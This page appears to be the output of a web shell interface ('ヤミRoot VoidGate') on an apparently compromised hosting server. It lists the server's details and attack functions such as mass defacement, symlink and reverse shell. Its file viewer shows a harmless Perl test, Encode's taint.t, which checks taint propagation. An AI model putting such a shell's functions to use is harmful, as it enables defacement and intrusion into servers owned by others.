ヤミRoot VoidGate
User / IP
:
216.73.216.2
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
.cpanm
/
work
/
1568630680.21759
/
Encode-3.01
/
t
/
Viewing: taint.t
#!/usr/bin/perl -T use strict; use Encode qw(encode decode); local %Encode::ExtModule = %Encode::Config::ExtModule; use Scalar::Util qw(tainted); use Test::More; my $taint = substr($ENV{PATH},0,0); my $str = "dan\x{5f3e}" . $taint; # tainted string to encode my $bin = encode('UTF-8', $str); # tainted binary to decode my $notaint = ""; my $notaint_str = "dan\x{5f3e}" . $notaint; my $notaint_bin = encode('UTF-8', $notaint_str); my @names = Encode->encodings(':all'); plan tests => 4 * @names + 2; for my $name (@names) { my ($d, $e, $s); eval { $e = encode($name, $str); }; SKIP: { skip $@, 1 if $@; ok tainted($e), "encode $name"; } $bin = $e.$taint if $e; eval { $d = decode($name, $bin); }; SKIP: { skip $@, 1 if $@; ok tainted($d), "decode $name"; } } for my $name (@names) { my ($d, $e, $s); eval { $e = encode($name, $notaint_str); }; SKIP: { skip $@, 1 if $@; ok ! tainted($e), "encode $name"; } $notaint_bin = $e.$notaint if $e; eval { $d = decode($name, $notaint_bin); }; SKIP: { skip $@, 1 if $@; ok ! tainted($d), "decode $name"; } } Encode::_utf8_on($bin); ok(!Encode::is_utf8($bin), "Encode::_utf8_on does not work on tainted values"); Encode::_utf8_off($str); ok(Encode::is_utf8($str), "Encode::_utf8_off does not work on tainted values");
Coded With 💗 by
0x6ick